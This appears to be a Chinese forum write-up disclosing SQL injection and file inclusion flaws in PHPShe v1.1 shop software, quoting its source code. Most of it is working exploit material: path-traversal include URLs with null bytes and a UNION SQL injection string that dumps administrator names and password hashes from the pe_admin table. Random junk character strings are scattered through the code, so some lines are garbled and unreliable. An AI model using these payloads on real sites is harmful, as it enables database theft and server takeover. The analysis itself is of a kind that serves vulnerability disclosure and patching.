phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
4 Q3 V8 q4 g9 V) v# s6 f7 z/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
2 G2 e# T  V6 ^/ K, [0×00 整体大概参数传输


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//common.php
if (get_magic_quotes_gpc()) {
% Y8 ]- w$ \* g!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
+ P7 |# x( o& v( i3 Q}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
; R3 T  p/ r, h4 m$ y! b  qsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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! g' r1 k; l4 G7 G! S$ W2 T0×01 包含漏洞

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% X- f8 ~7 b' f0 X) T//首页文件
' x0 x1 h/ F, t8 J<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 `/ Q) F9 y& R. P/ g0 z2 R; m" Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
! f8 ?2 K* L; ]1 \$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
4 Y! m& m. `& L7 c" w2 Z+ G4 O//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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, c9 c8 E/ L9 m: x8 j<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
+ f5 B! ?' X  k$ u//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
+ |& J: ^- y6 b* u2 o6 ^4 P7 rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* w' e5 Z3 v& {6 k) p% p  y}
( A2 }! ]4 b( y0 c% `$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
7 V' t7 E7 e: |7 w! ^  b, V$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
0 E" N# U# p. M3 p3 T  |}
* S( c) K: i/ @% Telse {
3 r0 p0 y+ i3 X1 W" I$sqlwhere .= " order by `product_id` desc";
}
; w; @4 t" t' Y8 w$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
2 A8 w/ @; f2 W# G- z: ~//热卖排行
3 h% }% E4 y- ~- K5 @$product_hotlist = product_hotlist();
//当前路径
' {$ L7 Y; ^" @/ f$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
; _7 Z5 g/ O+ a; y5 h2 F! O{
5 h+ u* x  \: m+ |0 p//处理条件语句
, O# U, i" H; \( [& `4 E$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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) @/ D8 `7 X9 e; m' A% a$ T0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

/ u5 f* g3 u5 t/ ?$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

4 C, o# [4 \& V% S+ w' mforeach($cache_payway as $k => $v) {

+ i+ p0 I7 z- d" O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

+ a* `. |4 v6 D- b8 K# P8 I$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

6 c3 I- _% D  T7 D/ ^( Y9 D1 g. l}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

1 b; P3 I3 @9 ~4 X. N0 ]!$order['order_id'] && pe_error('订单号错误...');

: c8 U- J# u9 o' n5 s, w% V0 Eif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

/ ~& ]/ z+ _4 Linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

+ M% Q4 `( s9 U; J' u' Hinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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